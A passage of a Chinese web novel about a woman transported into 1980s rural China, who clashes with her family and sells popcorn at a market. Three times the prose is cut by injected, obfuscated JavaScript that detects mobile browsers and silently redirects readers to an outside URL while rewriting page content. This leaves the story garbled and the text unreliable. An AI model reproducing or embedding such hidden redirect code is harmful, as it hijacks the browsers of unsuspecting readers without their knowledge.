林老太矮小精悍,脸上爬满皱纹,头发花白,剪短到耳后,一身灰布麻衣,是个精神头很足的老太太。早年老头死了,她一个人把几个子女拉扯大。在家里也算说一不二。 苏棠吐了吐舌头:“奶奶,我刚刚在你背后喊你好几声了,你都不理我,我还以为你耳背听不到呢。” 林老太印象里这个孙女一直老实巴交的,不像会诓人的样子。当真以为是自己老了耳背了。但她不去回应这茬,看向林苏棠的眼睛像是要喷火。 “你回家就空个手回啊。” 苏棠摆出一脸无辜的表情:“不是啊,我还带了我自己啊,我这么久没回家,奶奶您难道不想孙女吗?” “死妮子,你能的你,你有哪点值得我想。” 菜园里,正在摘菜的林良娣听到林老太的声音赶紧放下手里的菜,小跑回家。她从房里拎出一篮鸡蛋,向苏棠递了一个眼色,把她挡在身后,脸上露出讨好的笑容:“忘了和您说了,小棠回来还带了一篮鸡蛋呢,妈你瞅瞅,一个个的多大啊。” 这鸡蛋是林良娣早上出门花钱在供销社买的,准备送去陈家给苏棠补身体的。林老太并不知道此事。 看到这一大篮子鸡蛋,林老太气得发绿的脸这才稍稍缓和。 “这还差不多,算她有良心。”说着又话锋一转,“不过这篮鸡蛋也没多少。” 林良娣劝道:“虽然不多,但都是孩子孝敬您的心意啊。” 林老太拎着一提篮鸡蛋,刁钻地打量了苏棠一眼:“那就让二丫头在家多歇两晚吧。” 林家三兄弟还没分家,这鸡蛋给了林老太自然算是充公,最后肯定落不到苏棠和林良娣嘴里。 院子里吵吵闹闹的,林彩虹在旁边偷偷看好戏,盯着林老太手里的一篮鸡蛋偷偷咽口水。还是她告诉奶奶二姐带了东西回来,不然二姐肯定会把鸡蛋藏起来不上交。 东边大房的一间屋子里,林丽霞打开窗户从里面探出头来:“吵死了,还让不让人学习了,我要是考不上大学我跟你们没完!” 说完,林丽霞把窗户“砰”地一声关上,继续在简陋的木桌上看着课本里天书一样的文字,边看边用钢笔笔誊写密密麻麻的笔记。 虽然升高中的考试她走大运瞄到了全校第一的半页试卷,勉勉强强以倒数几名的成绩考上了高中,但高中课业实在太难了,她现在回回在班上考倒数第一。还有一年就高考了,奶奶逢人就说她是林家的女大学生,她自己对于考上大学这事心里半点没底。简直是把她放在火上烤。 苏棠站在院子里还想说什么,林良娣制止了她,把她拉回了房里。 “四姑,那是你买的鸡蛋,为什么要给奶奶啊,你等着,我去给你要回来。” 林良娣拉住她:“你回来住,你奶奶已经很不高兴了。一篮鸡蛋而已,堵住她的嘴,你也少受点气。你别往心里去,老太太就是这样的人。” 一提篮鸡蛋也不便宜啊,这么多鸡蛋打狗都能听到响。 苏棠知道四姑这是在给自己做人情,自己现在去闹恐怕要让四姑夹在中间难做人,但她还是很心疼那一篮鸡蛋。 记忆里的林老太就是个刁钻怪,爱骂人,她最看重的是大房里最有希望考上大学的大孙女林丽霞,还有便是几个孙子。 林星星默默听着,黑溜溜的大眼睛泛着水光,然后小心翼翼地从牛皮袋里拿出两根木棍糖,一根给林苏棠。 “妈妈,不要骂姐姐,星星喜欢姐姐,姐姐来吃糖。”然后将另一根放在林良娣手上,“妈妈不要生姐姐的气。” 小萌娃这一番操作,把姑侄俩都逗笑了。 看着妈妈和姐姐都笑了,小萌娃也乐呵呵跟着笑了,虽然不知妈妈和姐姐在笑什么,但只要妈妈和姐姐不吵架,她就会开心。 林苏棠蹲下亲了亲小萌娃的脸:“妈妈没有骂姐姐,妈妈和姐姐是在说话呢。” 林良娣看着那一牛皮袋的糖,轻轻地责备道:“小棠,你哪有钱啊,你的钱你自己攒着,别乱给她买东西。” 林苏棠笑了笑:“四姑,这么多才几毛钱,星星爱吃我就开心。以后等我真挣到钱了我还要给星星买外国进口糖!” 中午,到了吃饭的点,林良娣做好了饭菜。 堂屋摆了一张大桌子,不到吃饭的时候林苏棠还真不知道这个桌子上能挤这么多人。 苏棠带着林星星在旁边随意扫了一眼,桌上这些人的脸和原主的记忆重合。 林老太一本正经坐在主位。 她亲爹林老三不在桌上,听说这段时间在县城里给人打零工做泥瓦匠。 林老大在地里干完农活刚回来,林老大的妻子黄水仙带着次女林丽霞和小儿子林光祖安安稳稳坐在桌上。她的长子林建发前些年娶了媳妇,在村头另置了一间屋子,和媳妇过二人世界去了。 林老二和媳妇两个都有牌瘾,这会儿在牌桌上还没下桌,她们的女儿林彩红带着小儿子林光宗最先一个上桌。等下吃的时候姐姐还得打包送去牌桌上的爹妈吃。 林苏棠帮着林良娣洗菜切菜烧火,两个人忙前忙后,盛完一圈饭,姑侄俩是最后上桌的。苏棠本来不想插手,但是她不帮着干活,四姑就要一个人承担所有的活。她只好陪着一起伺候这群瘟神。 陪着在灶房里烧火的时候,苏棠才知道林家这一大家子的一日三餐都是林良娣做的。因为是个寡妇又住在娘家,所以家里的饭菜都由林良娣自掏腰包准备。林家的其他人,吃得心安理得。 每到吃饭的时候,饭桌上特别热闹,林家两个小孙子用手你碰我我碰你,扯着嗓门大喊大叫,大人们有说有笑。 林家的准大学生林丽霞先动筷子,吃了一口便抱怨:“怎么清汤剐水的,也没个肉啊,我天天学习多费脑子啊,不吃肉我怎么有力气学习。我要是考不上大学都怪你们!” 林老太嘴里的米饭还没咽下去,吧唧吧唧嘴道:“她四姑,这菜也真是的,怎么越来越没油水了。大丫头明年就要参加高考了,是该做点好菜给她补补。” 林良娣不好意思地笑笑:“妈,我下个月才发工资,这个月实在没钱买肉了。” 林良娣知道老太太太私下会给大孙女林丽霞还有几个孙子开小灶,但当着一大家子的面,她也不好说。只好把委屈往肚子里咽。 林星星低着头,扁着粉嘟嘟的小嘴巴,虽然是个小孩子也能把大人的话听得半懂。她把小手从桌底下伸过去,覆在林良娣粗糙的的大手上。 苏棠简直没眼看,林丽霞自己脑子笨还怪这怪那的,别人辛辛苦苦做饭,她还挑起了。 她把筷子一撂:“大姐,你考不上大学你干脆别读书了,这高中学费省下来能买好多肉了。现在家把脑子补好。” 她声音清脆悦耳,桌上众人齐齐看向她。 他们有些愣,林苏棠一年回不一次家,回来了也是家里的隐形人受气包吗,什么时候嘴皮子这么利索了。 林丽霞把饭桌一拍:“死丫头,你说什么呢?你让谁别读了,你欠打是不是?”她小时候没少欺负林苏棠,每次她都不敢吭声。而且高考考大学这事一直是她的逆鳞,她自己可以提,但别人要是提了她就特别敏感。 林苏棠朝她翻了个白眼:“你看看你,哪点儿像读书人。” 李丽霞说:“我哪儿不像读书人?我可是考上了了高中,你呢?你可是连小学都没读。” 林苏棠说:“我知道你很急,你先别急。我觉得你长得五大三粗,壮得跟张飞一样,黑得跟李逵一样,嗓门破得跟家里大公鸡叫早一样,我觉得你像杀猪佬。” 林丽霞的娘黄水仙听了差点气歪了嘴,她都想站起来给林苏棠两巴掌,但家里人都在,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林光祖瘦得跟瘟鸡似的,被林苏棠的双臂钳在怀里动弹不得,张开嘴大哭。苏棠在他耳边小声威胁:“你要是再哭我晚上偷偷把你丢进粪坑。” 陈光祖扁了扁嘴,不敢哭出声音了。 这时外面传来了踹门声。 “林菊花,林菊花,你给我出来!看你教的好孙女!” 林菊花是林老太的大名。 林家的院门早就年久失修,经不住这么糟蹋,门上木屑纷纷往下脱落。 比起教训林苏棠,林老太更心疼自家的大门,找个木匠做门可得花老多钱了。 她提起扫帚快步走到院子里,打开门,便看钱桂香那张凶神恶煞的脸。 “你孙女把我家牛棚烧了,还把我家耀祖的灵堂给烧了,我不管,你们赔我五十!” 五十?林老太一听,这不是要她的命吗?! 她也不是吃素的。 “做你娘的青天白日梦。”挥起扫帚便向钱桂香打去,“要抢钱也不看看这是什么地方,我打死你个烂货,我家门都被你的狗腿踢坏了,你赔我的门。”林老太刚刚就憋着一肚子火,这回把气都撒到了钱桂香身上。 钱桂香是单枪匹马过来的,手上没有趁手的武器,一时落了下风。她一边跑一边咒骂:“老不死的烂货,老缺德怪,早年你家没钱你们把闺女卖给我,现在又一声不响说接回家就接回家了。你活着身上长烂疮,死了下油锅。” 林老太抡起扫把丢她:“我孙女现在是寡妇,你管天管地还能管寡妇再嫁吗?明天我就把她配了人,气死你个烂货!” 钱桂香边跑边捡起扫把往回丢:“好啊,你们家这么霸道,我要去派出所告你们。” 林老太叉腰:“你去啊,怕了你不成。有多远给我滚多远,等我半夜去把你们家门全砸了。” 两个人斗了半个时辰,实际伤害只有一个扫把,最后都骂累了才罢休。 林老太又不傻,管她寡妇不寡妇,等嫁出去了她这个当奶奶的怎么着都能落到几斤猪肉吧。不由得在心里咒骂钱桂香大儿子死得好。 她当年舍得把十岁的小孙女卖人,足以说明她对孙女的不在乎。不管如何,她都没有丝毫愧疚之心,只要这个孙女身上流的是林家的血,她就可以供她随意驱使。 12. 12 早上五点钟,林家所有人还在睡梦中,林良娣便已起床。 她穿好衣服,来不及洗漱,急匆匆走到厨房,从米缸里舀了五筒半米,淘洗干净加入切好的红薯块,一起倒进装了水的大铁锅里。等灶里的柴火烧旺,这才趁着空隙去刷牙洗脸。 穿来这边不用考公,苏棠晚上睡得很早,早上林良娣起床后她也醒了,看到窗外天还是灰蒙蒙的,便百无聊赖地躺在床上。见林良娣这会儿在镜子前梳头,她打着哈欠问: “四姑,天还没亮呢,你怎么起这么早。” 这时床上的林星星也翻了个身,软乎乎地搂住林苏棠的手臂继续睡。 林良娣梳好头转向林苏棠,不好意思地笑笑:“我早上起来做饭,吵醒你了吧。没事你继续睡你的,不用管我。” “没有没有,我是睡得早醒得早,”林苏棠又问,“四姑,你每天都起这么早给一大家子做饭吗?这也太辛苦了。” 林良娣点头,自从丈夫三年前过世了,她便带着女儿回了娘家住着,从那后,自然而然承担了家里的一日三餐。 “四姑习惯了,这几年一直都这样,家里离镇上远,走过去要一个小时,镇中学生们七点二十开饭,我六点钟就要从家里过去,七点到食堂做好准备工作,不然学生一放学就乱套了。” “哦哦,那确实要赶时间。” 听到这,苏棠想起前天去捉田鸡路过林家院子听到的墙角,林老太叫四姑把食堂打饭的工作让给大嫂,神色不由得黯淡了几分。 “我给你和星星另外蒸了玉米和红薯,你们早上就在房间里吃,别让他们看到了。”林良娣出去拿了两个玉米和两个红薯,还端了一碗红薯粥放桌上。 昨天闹了这么一出,林良娣怕等下自己不在家,侄女又和家里人起冲突。 林家一大家子七点钟才起来吃饭,七点半去地里干活儿。每次起来不是抱怨粥冷了就是菜凉了。 桌上的东西飘出热腾腾的香气,苏棠见林良娣的背影倚在门边狼吞虎咽喝粥,想到她粗糙裂口的双手,心中有些愤愤不平。 “四姑你天天辛辛苦苦挣钱,他们吃你的喝你的,我真看不惯,他们就知道压榨你。” 空旷寂静的早晨,她声音不小,林良娣听了赶紧放下粥碗,示意她别说了。 “你别让他们听到了。这些都是我该做的,你还小,不懂这些。” 做女人难处多,林良娣没了丈夫,也想日后有娘家这头给女儿做倚仗。女儿才五岁,她每天去干活儿也丢不开,放家里林老太还能帮着照看。 其实苦点累点她不在乎,主要是这工作挣不下太多钱,一个月发六块钱,丈夫在世的时候,还算过得宽裕。现在平时按月发的工钱都补贴进家里了,兜里早就见了底。她也愁啊,现在就想省一省,攒下女儿明年上小学一年级的学费。 苏棠没再说什么,她知道在这个年代一个女人带着孩子日子不好过,即使自己能给林良娣提供建议,那也只是空中楼阁,毕竟不管干什么,做母亲的都要顾及到女儿。 林良娣喝完最后一点粥角,在井边利索地冲洗干净碗,嘱咐了苏棠几句后匆匆出门了。 苏棠本来还想睡个回笼觉,但一想到全身上下只有不到十块钱,没有资产阶级的爹体制内的妈这片天还得她自己撑,她这么年轻,哪睡得着啊。反正都已经穿到了八零年代,她把长衫脱了谁也不知道。 搞钱永远是独立女性的主旋律! 苏棠小心翼翼从床上爬起来,洗漱完毕后,亲了一口林星星,吃了一个玉米半个红薯还有一碗粥。 吃得饱饱的然后开始新的一天的劳作。 算着时间林家人还有差不多一个小时才醒,她一个人去灶房鼓捣起白糖和玉米棒子。 村里家家户户都会种玉米,这个时节的玉米最便宜,林良娣会买好几天的量晒成玉米棒子屯在家里。 她挑出三根颗粒饱满,质地坚硬的玉米棒子,剥出一大碗玉米粒,因为被提前晒过,这些剥出来的玉米粒较为干燥,可以直接用来制作爆米花。 准备工作做好后,她又把铁锅重新刷了一遍,在灶头下放柴禾烧开小火,将锅中的水汽蒸干。然后加入没过玉米粒量的油,用锅铲不断翻炒锅中加热的玉米粒,让玉米粒受热均匀。 苏棠不敢往里面添柴,怕火太大把玉米粒烧焦。等听到锅里传来玉米的爆裂声,她赶忙盖紧锅盖,因为锅太大太沉了她颠不动锅,又怕玉米粒在里面闷焦了,只好半盖住锅盖,把锅铲伸进去翻炒,让它们受热均匀一些。 等锅里的玉米粒子全都炸开,苏棠继续翻炒十秒钟左右,迅速把它们装进干净的大碗里备用。 她往土灶口里加了一根柴,用干净的湿抹布在锅上擦了一圈,把刚刚制作爆米花时黏在锅上的碎屑子擦干净,放入适量油,加入白糖,灶中同样烧起小火,用铁铲不停地搅动,白糖开始慢慢融化,变稠,泛出微黄的颜色,逐渐冒糖泡泡。 接下来她把刚刚炒好的爆米花倒进糖泡泡里,搅拌均匀后再装进大碗里。一股甜香气直往苏棠的鼻子里钻。这时候刚出锅的爆米花还是软的,会黏成一坨,要放到窗口通风,放凉后才会支棱起来。 趁着等爆米花放凉的片刻,她找来一个干净的提篮,把牛皮纸撕开,工整地铺在提篮里面。 风干冷透了的爆米花会变得脆脆的,全部黏在一块儿,苏棠掰开一粒放嘴里尝了尝,和以前在电影院吃的爆米花味道差不多。如果有黄油的话,她还可以做出奶香味的爆米花,可惜条件有限。 因为不是专门制作爆米花的玉米粒,所以做出来的成品品相差了一点,爆出来的玉米粒小了一圈,但总体来说苏棠还是比较满意。 “姐姐。”灶房外面探出一个小脑袋来,黑葡萄一样的大眼睛里充满笑意。 听到是小萌娃的声音,苏棠回头招呼她:“星星你醒啦,快过来,姐姐给你吃好吃的。” 林星星迈着小短腿跑过来,用小鼻子轻轻嗅了嗅:“好香呀。” 苏棠一面掰着一粒粒爆米花放篮子里,一面喂了一颗放小萌娃粉嘟嘟的小舌头上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069019|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹篮比较深,三个玉米棒子才装了不到二分之一。 有了第一次的经验,苏棠如法炮制剥了五个玉米棒子,毕竟这具身子是干惯活儿的,很快就熟练地剥好了玉米粒。 花了不到十分钟把它们全都爆完了,冷却后装了满满一大篮子。 她在忙活的时候,林星星小可爱已经自己刷好了牙,洗好了脸,现在正在扎头发,但小手够到头发的时候很吃力,每次总差一点点,不是小皮筋掉地上就是头发自己散了,但还是很耐心地扬起自己的小手,不哭也不闹。 “星星小可爱,不好意思啊,姐姐早上忘了照顾你了。” 林苏棠捂着脸赶紧过去给她捡起小皮筋,她这个姐姐当得太粗心大意了,早上只顾忙活自己的事,忘了要照顾林星星小朋友了。 “星星自己会照顾自己。”小萌娃奶声奶气地说。 林星星的头发细软蓬松,带着小孩儿特有的奶香,苏棠把她的头发全拢到脑后,扎成一个丸子头,额前留一层薄刘海儿,衬得一双眼睛更大更黑。苏棠忍不住在她软嘟嘟的小脸上rua了一下。她以前一直很讨厌小孩子,觉得他们又爱哭又熊。但是见到林星星小朋友之后,她推翻了以前的想法,小孩儿讨不讨厌,也要分是什么小孩儿。像林星星这样的小孩子,她喜爱还来不及。 林苏棠在给小萌娃扎头发的时候,林家人开始陆续起来了,一个两个都在院子里打水洗漱。 经过昨天饭桌上这么一闹,林家其他人看她的眼神更奇怪了,但她住进来是经过林老太同意了的,其他人也不好把她赶出去。因此谁都不主动和她说话。 林彩虹鼻子尖,早上在房里做梦的时候还闻到了一股甜香味,这会儿到了院子里味道更浓烈了。 她去灶房转了一圈,本以为四姑今早换了个做饭花样,但发现早饭还是稀粥。嗅起鼻子循着香味到处找。 一定是有人偷偷开小灶了! 这香味甜甜的,白糖也没这么香,勾得她的馋虫都快出来了。 林苏棠给小萌娃扎好了头发,蹲下询问她:“星星,你今天是想待在家里,还是想跟姐姐一起出去呀。” 小萌娃卷翘的睫毛眨了两下,不假思索地回答:“星星想和姐姐一起。” 林苏棠捏了捏她的小脸蛋:“和姐姐在一起要自己走路哦,姐姐等下要拎东西,不能抱你哦。你自己走路会累的,你怕不怕。” 小萌娃摇摇头:“星星自己走路,星星会乖的。” “星星真乖。” 这里去镇上要走一个小时,她原本没准备要带上林星星,但既然她想去,她就只好带着她。反正放在家里林老太对这个小外孙女照顾的也不上心。 怕灰尘跑到了爆米花上,林苏棠进屋找了块还算轻薄的布料盖在竹篮上,提着竹篮牵起林星星往院门外走。 林彩虹的鼻子终于嗅到了神秘香味的来源——林苏棠手上的竹篮。 “喂,林苏棠,你篮子里是什么?给我看看。”林彩虹走上前拽住林苏棠的提篮。 13. 13 林苏棠对林彩虹没什么好印象,林彩虹比原主小两岁,在家里好吃懒做,小时候就爱偷奸耍滑,经常把自己的活儿推给原主。 “放开我,我就给你看。”林苏棠面无表情地说。 林彩虹松开手,理直气壮地说:“快给我看看。” 苏棠把布揭开,露出金黄香甜的爆米花,给林彩虹看了一眼便重新盖上布盖。 “给我吃一点。”林彩虹的馋虫已经被这香味勾了一早上,她今天一定要尝尝。 “可以啊,五毛钱我卖给你。”苏棠说。 五毛钱?林彩虹不可置信地睁大眼,她居然敢问自己要钱。 “林苏棠,我可是你妹,你给我吃一点怎么了?” 林苏棠露出不好惹的微笑:“我可是你姐,不给你吃你也只能憋着。” 以往这个二姐跟个木头似的,对自己言听计从,今天还想坑她钱?她瞬间觉得篮子里的东西不香了。 “小气鬼,喝凉水,你这么多东西没人吃都要烂掉,到时候送我吃我都不要。” “狗嘴里吐不出象牙,给我闪开。”林苏棠牵起林星星拎着篮子出院门,林彩虹在后面气得跺脚。她以前觉得大姐林丽霞讨厌,现在觉得二姐和大姐一样讨厌。 她牵着林星星来到供销社,买了一百个中等大小的牛皮袋,用来分装爆米花。本来这些牛皮袋不单买,供销社老板见她要得多,便收了她三毛钱。 收钱的时候,供销社老板问道了竹篮里散发出的香味,好奇地问了句嘴:“大妹子,你这里面是什么?真香。” 苏棠把布盖揭开,抓了一小把给供销社老板:“爆米花,大叔你尝尝,可甜了。” 供销社老板没见过这玩意儿,乐呵呵地接过爆米花。毕竟是村里的供销社,货源有限,太贵的东西放村卖也没人愿花这个钱。放了两粒在嘴里嚼,香香脆脆,吃完舌头上还有一股甜味弥漫。 “你这从哪儿买的?很贵吧。”人对于没见过的东西都觉得很稀奇,自然觉得金贵。 供销社老板脸上掩不住好奇,居然还以为她这爆米花是买来的,说明她做的东西有卖相,苏棠心里更加自信了。 但苏棠并不打算告诉她事情。她眼珠子一转,做出一副很老实的表情:“我亲戚在省城电影院工作,带了一蛇皮袋回来给我们家吃。电影院你知道吧?一张大屏幕,里面有人动来动去。台下观众们都边看边吃爆米花。也不贵,一块钱能买你这一大牛皮袋呢。” 供销社老板对村里人都脸熟,苏棠一进门她就认出这是林家送出去的二丫头,他并没听说过林家还有省城的亲戚。虽然也没亲眼见过电影是什么样,但想来应该和看戏一样,为了看戏还要多花一块钱买吃的太不划算了。 “一块钱有点贵了,城里人吃东西就是舍得花钱。你这东西装在牛皮袋里半两都不到,咱这白糖才一块钱一斤。对了,大妹子,这爆米花是用啥弄出来的啊,这么脆?” 其实她这一提篮爆米花的成本撑死了也不到一块五。可苏棠不打算泄露商业机密,摇了摇头:“我也不知道是啥做的,正好家里多了吃不完,我带着妹妹去镇上卖一半,挣点钱补贴家用。” 供销社老板盯着那满满一大篮子,不由得嗤笑:“大妹子,你这东西拿出去卖,我看悬啊。” 夏虫不可语冰,苏棠笑笑不说话,盖上提篮牵着林星星往外走。 还没到七月,乡下天气还不算热,爆米花上面的糖渍也不会融化。她牵着林星星走在村路上,步行了大概二十分钟,一大一小两个都有点累了。两人便坐在田埂上休息,吹吹风。 “姐姐累不累,星星给你捶腿。”小萌娃捏起粉嫩的小拳头,轻轻敲她的腿。 这举动给苏棠感动坏了,这么懂事的小萌娃是真实存在的吗?她抱着小萌娃在她脸上亲了又亲。 “星星太贴心了,你就是姐姐的小棉袄,姐姐太喜欢星星了。” “星星也很喜欢姐姐。” 小萌娃被她逗得咯咯笑。 碰巧经过了一辆牛车,林苏棠认出赶车的是村里人老冯,她喊了一声“冯叔”。 冯叔和妻子只有一个闺女,早年嫁到了镇上,闺女的儿子现在在读初中。镇上菜园少,好多菜都靠买,冯叔心疼小孙子,三天两天往镇子上送蔬菜,是这条村路上的常客。 冯叔停下牛车,也认出了她:“林家丫头,你要上哪去?叔正要去镇上给闺女送青菜,顺路的话你俩坐上来,我捎你一程。” 等的就是这句话,苏棠甜甜一笑,抱着林星星坐上了车。 “谢谢叔,太顺路了,我们也正要去镇上。” 冯叔见她拎着篮子,边赶着牛车边问道:“丫头,你走亲戚去啊?” 苏棠摇头:“我带妹妹去镇上逛逛,我四姑在镇中食堂上班,等下去了等她一起回来。” 听到镇中食堂这几个字,冯叔像打开了话闸子:“我闺女春萍也在镇中食堂打饭,她和你四姑两人玩得好咧,经常和我说你四姑手脚块,做事利索。” 苏棠也客气道:“我四姑也常夸春萍姨会做事,食堂里人人都喜欢她。”虽然苏棠都没见过这位春萍姨,但千穿万穿,马屁不穿,夸人总没错。 当爹的都觉得自家孩子好,也都希望能从别人口中听到关于自家孩子的好话,冯叔高兴地眉毛上扬:“嘿嘿,我家大外孙才厉害呢。马上上初三了,成绩好着哩,成绩有多好?班主任都说他是个考县一中的好苗子!早年我和孩儿她妈只有一个闺女,村里人都笑话我们没香火,我当时就和他们说甭管香不香火的,死了大家都是一把灰。‘三十年河东三十年河西’,笑到最后才是真英雄。等我大外孙考上大学了,谁还敢笑我没儿子。” 在这个人人都重男轻女的村里,冯叔能有这觉悟的确很难得。对比之下原主的娘家显得非常不做人。苏棠说:“是啊是啊,生男生女都一样,主要还是得孩子有出息。生了没用的儿子,生一百个也只会把家里米吃糟了。村里那么多老头老太太,早年儿子一窝一窝的生,老了还不是没一个儿子能靠得住。” 冯叔听到这话,觉得终于遇到了知音,原本在镇上的路口就要放苏棠下车,摇摇晃晃一口气把人拉到了镇中的大门前。 白坐人家这么远的车,苏棠有些不好意思,下车时用牛皮纸装了一包爆米花给冯叔:“叔,这个给你大孙子吃,祝他来年考上县一中,以后上个好大学。” 冯叔见是供销社的牛皮纸包装,摆手不要:“这得好多钱吧,叔就是顺路拉你,费不了多大事,大家都是乡里乡亲的,叔不要你东西。” “这不贵,我家里多着呢,叔你拿好,我还有事儿先走了。”苏棠把爆米花塞到冯叔手里,抱着小萌娃下了牛车。 冯叔手里拿着爆米花,望着眼前一大一小的背影笑了笑,还好是吃的东西他收就收了,要是给钱打死他都不要。 苏棠带着林星星来到附近最热闹的一条集市,她来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086447|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算早,很多摆卖的小贩已经卖完收摊回家了。即使如此,街上还是很多来往的行人。她揭开盖布,将竹篮垫在上面,用牛皮袋装满了五袋爆米花,爆米花体积大,很容易便装了一大袋。 她怕林星星无聊,给了她一袋爆米花,让她吃着玩儿解闷。 旁边同样摆摊的几个妇人闻到甜香味,特地凑了上来,问她这是啥东西。 苏棠把对供销社老板说的话对她们又讲了一遍,当被问这是什么做的,苏棠摇头说不知道。 许多人被香味吸引过来,围住林苏棠的小摊子。 竹篮里面的东西香,旁边的小女娃粉粉嫩嫩,两根小手指拈起牛皮纸里散发着香气的金黄的一粒,放进嘴里鼓起腮帮子吃得津津有味。让人一看就充满食欲。 “大妹子,这是什么东西啊?这么香。”一个带着小孙子的大婶问。 苏棠扯着嗓子喊:“爆米花,省城电影院进货来的爆米花,又香又脆的爆米花,一袋五毛,两袋八毛。城里人都爱吃。” “大家快来看,大家快来瞧,省城电影院进货来的爆米花,只剩一提篮,今天最后一天,今天卖完了就没了。走过路过不要错过。” “清仓大甩卖,清仓大甩卖!省城电影院进货来的爆米花,买不买都来瞧一瞧,看一看,看看不要钱,闻闻不要钱。” 苏棠把在二十一世纪学来的卖货口号都讲了一遍,镇上的人一辈子都没听过这种新鲜话,纷纷围观过来。 虽然镇上很多人都不知道电影是什么,但任何东西和省城沾上边,自然就带了点高档的味道。 一个妇女说:“大妹子,你也太黑了,这东西咱也没见过,你就卖五毛啊。” 另一个妇女问:“电影院里的东西,你咋弄来的?” 苏棠回答她们:“婶子,是一袋五毛,两袋八毛。我家有亲戚在电影院上班,这次回家带了一大蛇皮袋,家里都吃不完呢,这东西在省城卖得可贵了,一块钱一袋呢。我这算亏本卖了。” 越来越多人被吸引了过来,有人看到林星星吃得津津有味,便俯身问她:“小妹妹,好不好吃。” 林星星露出两个小梨涡,小脸蛋上还沾着点爆米花屑字,竖起一根大拇指:“好吃呀,特别好吃。叔叔阿姨们都买一点吧。”她很主动地把爆米一粒一粒花分给了在场的人。 林苏棠见状,又补了一句说:“省城来的新鲜货,买点回去给孩子吃吧,让孩子们也见见省城的东西,以后也考上省城的名牌大学。” 这年头要是能考上省城的大学,那就是光宗耀祖。 “小姑娘,你这嘴真会说,给我来一袋。”五毛钱说多不多,许多有孩子的大人都愿意给孩子掏这个钱。 苏棠上辈子在烧烤店锻炼出来的打包技能派上了用场,她手脚麻利,很快就包好了一包。 几分钟时间,苏棠的竹篮子就已经空一大半。 旁边几个摆摊的小贩见她一下子就卖了这么多,口袋里被钱塞得鼓鼓的。不免有些眼红。有一个人酸溜溜地说:“你这东西看起来不干不净的,不会吃了有毒吧。” 苏棠挣了钱,心情正好,瞥了一眼那人摊子上剩下一堆烂菜头,笑眯眯地说:“看来大叔你卖的烂菜头没少把人吃中毒啊。” 那男人生得满脸横肉,眼见一上午快过去没人来买自己的东西,正愁没处寻晦气。 “死丫头,你说什么呢?你敢惹老子,我让你在这片地方待不下去!” 14. 14 “你算老几?你这辈子也就这点出息了,你以为谁都和你一样卖一辈子的烂菜头?” 男人说着就要冲过来,苏棠后退几步抱住身子尖叫:“啊!耍流氓了,有人耍流氓了!警察同志,救命!” 现在正是严打时期,这年代耍流氓可是大罪,男人握紧地拳头恶狠狠地威胁:“死丫头,你要死啊你,给老子小声点!” 人来人往的闹市街头,苏棠叫得更大声,正在一旁吃爆米花的林星星见状被吓到了。边哭边迈着小短腿跑过来,不知从哪儿捡来一根小木棍,挡在林苏棠面前,双手乱挥:“不许欺负我姐姐,坏蛋,我打死你。” 苏棠赶紧把林星星护在身后,对那男人道:“你识相点赶紧滚,等下警察来了让你蹲班房,看你还老不老实。” “我记得去年有个村里出了流氓,让抓到了直接吃枪子儿,脑浆都崩了一地。” “是啊,你一个大男人光天化日之下欺负小姑娘,太跌份了。” 围观的人越来越多,大家对着包围圈里的三人指指点点。男人不敢轻举妄动,弯腰将地上的菜头包起来撒腿跑了。他心里也怕这娘们真把警察喊来了。 毕竟是个女孩子,苏棠刚刚确实有点怕,万一对方真是个不要命的浑人她还真没辙。好在她的超绝女高音救了她。当然还有小天使林星星的贴心保护。 但林星星确真的被吓到了,苏棠一把抱住她,看到这么多人在场,索性又表演了一把声泪俱下:“各位好心人,行行好吧,这省城来的爆米花是给我男人卖的,我男人前几天被车撞死了,他之前在省城电影院上班,每月都会往家里带省城电影院的爆米花,说是城里有钱人都爱吃这个。现在这爆米花还没吃完,他人就死了,家里刚把他下葬,欠了一屁股债啊,这不实在没办法了,才想着把家里省城来的的爆米花卖了挣点钱补贴家用。不然日子过不下去啊,婆婆还要把我和女儿赶出家门......” 围观的众人看不下去了,小姑娘年纪轻轻就死了男人,孤儿寡母的太可怜了,看来真的是走投无路了。又有人开始问价了。 “姑娘,你这东西怎么卖啊,闻起来怪香的,是甜的吗?” “这是爆米花,又香又脆又甜,您拿一个尝尝?五毛钱一份,八毛钱两份,在省城可卖到一块钱一份呢,我这因为男人死了所以便宜卖,大家就当是做做好事帮帮忙吧谢谢大家了。” 林苏棠擦干眼泪说,“孩子吃了省城爆米花,以后考省城名牌大学。” 林星星:我什么时候成姐姐的女儿了? 虽然小小的脑袋充满大大的疑惑,但姐姐哭得这么伤心,我也好伤心啊,呜呜呜。 “大妹子,给我来两袋,我家两个孩子,正好一人一袋。” “大妹子给我也包一袋,我带给我小孙子吃。” ...... 大家争着抢着买,苏棠一边忙着收钱一边打包爆米花,不一会儿篮子就见底了。 后面有几个拿着钱却没买到,一脸沮丧地问:“大妹子,你明天还来卖不。” 林苏棠做出一副泫然欲泣状:“家里实在太困难了,明天会把家里最后剩的一点拿出来卖完。不过明天早上我会在镇中校门口卖了。” 